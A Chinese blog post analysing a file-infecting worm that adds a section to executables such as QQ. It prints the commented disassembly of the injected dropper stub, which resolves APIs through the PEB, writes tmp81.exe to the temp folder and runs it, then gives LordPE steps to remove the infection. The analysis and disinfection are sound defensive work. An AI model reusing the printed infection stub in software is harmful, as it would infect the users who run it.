最近几天上qq总是发现nod32 蹦出个什么发现“Win32/AutoRun.Agent.NZ 蠕虫”这么个东西的提示,刚开始还以为是浏览网页留下的也没在意,今天运行其他软件的时候也发现了这么个东东才知道情况不是自己想的那么简单了。找到被感染的程序和没有感染的做了下比较发现没什么大的差距,很明显不是捆绑了,那就是添加了新代码了,用Peid查看发现程序增加了一个区段,如下图:
并且修改程序入口点为增加代码的起始位置,于是每次运行程序都会先释放病毒文件然后运行,这就是为什么每次上qq都会有病毒提示了。
程序关键代码如下:
00609000 > E8 00000000 call 00609005 ; 变形jmp
00609005 5B pop ebx
00609006 81EB 05024000 sub ebx, 00400205
0060900C 64:8B3D 3000000>mov edi, dword ptr fs:[30]
00609013 8B7F 0C mov edi, dword ptr [edi+C]
00609016 8B7F 1C mov edi, dword ptr [edi+1C]
00609019 8B3F mov edi, dword ptr [edi]
0060901B 8B7F 08 mov edi, dword ptr [edi+8]
0060901E 89BB C2034000 mov dword ptr [ebx+4003C2], edi
00609024 8BF7 mov esi, edi
00609026 0376 3C add esi, dword ptr [esi+3C]
00609029 8B76 78 mov esi, dword ptr [esi+78]
0060902C 03F7 add esi, edi
0060902E 56 push esi
0060902F 8B6E 18 mov ebp, dword ptr [esi+18]
00609032 8B76 20 mov esi, dword ptr [esi+20]
00609035 03F7 add esi, edi
00609037 33D2 xor edx, edx
00609039 56 push esi
0060903A 8B3E mov edi, dword ptr [esi]
0060903C 03BB C2034000 add edi, dword ptr [ebx+4003C2]
00609042 8DB3 87034000 lea esi, dword ptr [ebx+400387]
00609048 B9 0F000000 mov ecx, 0F
0060904D F3:A6 repe cmps byte ptr es:[edi], byte ptr>
0060904F 75 06 jnz short 00609057
00609051 5E pop esi
00609052 8BD6 mov edx, esi
00609054 5E pop esi
00609055 EB 11 jmp short 00609068
00609057 5E pop esi
00609058 83C6 04 add esi, 4
0060905B 42 inc edx
0060905C 3BD5 cmp edx, ebp
0060905E ^ 72 D9 jb short 00609039
00609060 83EC 04 sub esp, 4
00609063 E9 1A010000 jmp 00609182
00609068 2B56 20 sub edx, dword ptr [esi+20]
0060906B 8B83 C2034000 mov eax, dword ptr [ebx+4003C2]
00609071 2BD0 sub edx, eax
00609073 D1EA shr edx, 1
00609075 0356 24 add edx, dword ptr [esi+24]
00609078 03D0 add edx, eax
0060907A 0FB702 movzx eax, word ptr [edx]
0060907D C1E0 02 shl eax, 2
00609080 0346 1C add eax, dword ptr [esi+1C]
00609083 0383 C2034000 add eax, dword ptr [ebx+4003C2]
00609089 8B00 mov eax, dword ptr [eax]
0060908B 0383 C2034000 add eax, dword ptr [ebx+4003C2]
00609091 8BF8 mov edi, eax
00609093 8BEC mov ebp, esp
00609095 8B93 C2034000 mov edx, dword ptr [ebx+4003C2]
0060909B 8D83 96034000 lea eax, dword ptr [ebx+400396]
006090A1 50 push eax
006090A2 52 push edx
006090A3 FFD7 call edi ; GetTmpPath获取临时目录路径
006090A5 81EC 04010000 sub esp, 104
006090AB 54 push esp
006090AC 68 04010000 push 104
006090B1 FFD0 call eax ; 获取临时目录路径
006090B3 8D83 A3034000 lea eax, dword ptr [ebx+4003A3] ; 将路径存入eax
006090B9 50 push eax
006090BA 8B93 C2034000 mov edx, dword ptr [ebx+4003C2]
006090C0 52 push edx
006090C1 FFD7 call edi
006090C3 8D8B AC034000 lea ecx, dword ptr [ebx+4003AC] ; 生成目标文件文件名
006090C9 51 push ecx
006090CA 8BCC mov ecx, esp
006090CC 83C1 04 add ecx, 4
006090CF 51 push ecx
006090D0 FFD0 call eax ; CreateFileA创建文件
006090D2 8D83 B6034000 lea eax, dword ptr [ebx+4003B6]
006090D8 50 push eax
006090D9 8B93 C2034000 mov edx, dword ptr [ebx+4003C2]
006090DF 52 push edx
006090E0 FFD7 call edi ; 开始写入文件
006090E2 8BCC mov ecx, esp
006090E4 6A 00 push 0
006090E6 68 80000000 push 80
006090EB 6A 02 push 2
006090ED 6A 00 push 0
006090EF 6A 00 push 0
006090F1 68 000000C0 push C0000000
006090F6 51 push ecx
006090F7 FFD0 call eax
006090F9 8BF0 mov esi, eax
006090FB 8D8B ED034000 lea ecx, dword ptr [ebx+4003ED]
00609101 51 push ecx
00609102 51 push ecx
00609103 8B93 C2034000 mov edx, dword ptr [ebx+4003C2]
00609109 52 push edx
0060910A FFD7 call edi
0060910C 59 pop ecx
0060910D 6A 00 push 0
0060910F 51 push ecx
00609110 83C1 0A add ecx, 0A
00609113 8B11 mov edx, dword ptr [ecx]
00609115 52 push edx
00609116 51 push ecx
00609117 BA 4D5A9000 mov edx, 905A4D
0060911C 8911 mov dword ptr [ecx], edx
0060911E 56 push esi
0060911F FFD0 call eax
00609121 8D83 D5034000 lea eax, dword ptr [ebx+4003D5]
00609127 50 push eax
00609128 8B93 C2034000 mov edx, dword ptr [ebx+4003C2]
0060912E 52 push edx
0060912F FFD7 call edi
00609131 56 push esi
00609132 FFD0 call eax ; 关闭写指针
00609134 8D83 C6034000 lea eax, dword ptr [ebx+4003C6]
0060913A 50 push eax ; CreateProcessA
0060913B 8B93 C2034000 mov edx, dword ptr [ebx+4003C2]
00609141 52 push edx
00609142 FFD7 call edi ; 运行生成的病毒文件tem81.exe
00609144 83EC 44 sub esp, 44
00609147 8BD4 mov edx, esp
00609149 BE 00000000 mov esi, 0
0060914E B9 11000000 mov ecx, 11
00609153 8932 mov dword ptr [edx], esi
00609155 83C2 04 add edx, 4
00609158 ^ E2 F9 loopd short 00609153
0060915A BA 44000000 mov edx, 44
0060915F 891424 mov dword ptr [esp], edx
00609162 83EC 10 sub esp, 10
00609165 8BD4 mov edx, esp
00609167 54 push esp
00609168 83C2 10 add edx, 10
0060916B 52 push edx
0060916C 6A 00 push 0
0060916E 6A 00 push 0
00609170 6A 00 push 0
00609172 6A 00 push 0
00609174 6A 00 push 0
00609176 6A 00 push 0
00609178 6A 00 push 0
0060917A 83C2 44 add edx, 44
0060917D 52 push edx
0060917E FFD0 call eax
00609180 8BE5 mov esp, ebp
00609182 - E9 A2B6ECFF jmp 004D4829 ; 跳向原来程序的入口点,第一个jmp
004D4829 . E8 07E40000 call 004E2C35
004D482E .^ E9 17FEFFFF jmp 004D464A ; 跳向原程序入口点,记下这个值过会儿修复用
到这里,F8之后就到了原来程序的入口点了,既然知道了病毒的原理,那么修复也就简单了。用LordPe打开要修复的文件:
如下图所示:
这里把程序入口点改成刚才获取的值:D464A。
编辑Section, 将选中的那个区段删除,如下图:
将选中的区段删除,然后重建PE即可。至此修复已经完成,程序可以无毒运行了。
另外程序释放的tmp81.exe会注册为服务6to4,如果有的话会替换服务运行。这个在虚拟机上跟了一下,但是么有成功运行。
至此修复已经完成,主要任务完成就醒了,另外的那个程序分析也就没那么重要了。
2 comments
黑手我也呆过一段时间, 个人觉得比黑X的技术性强点.
总体说开国内论坛的氛围都差不多。没什么好说的。呵呵。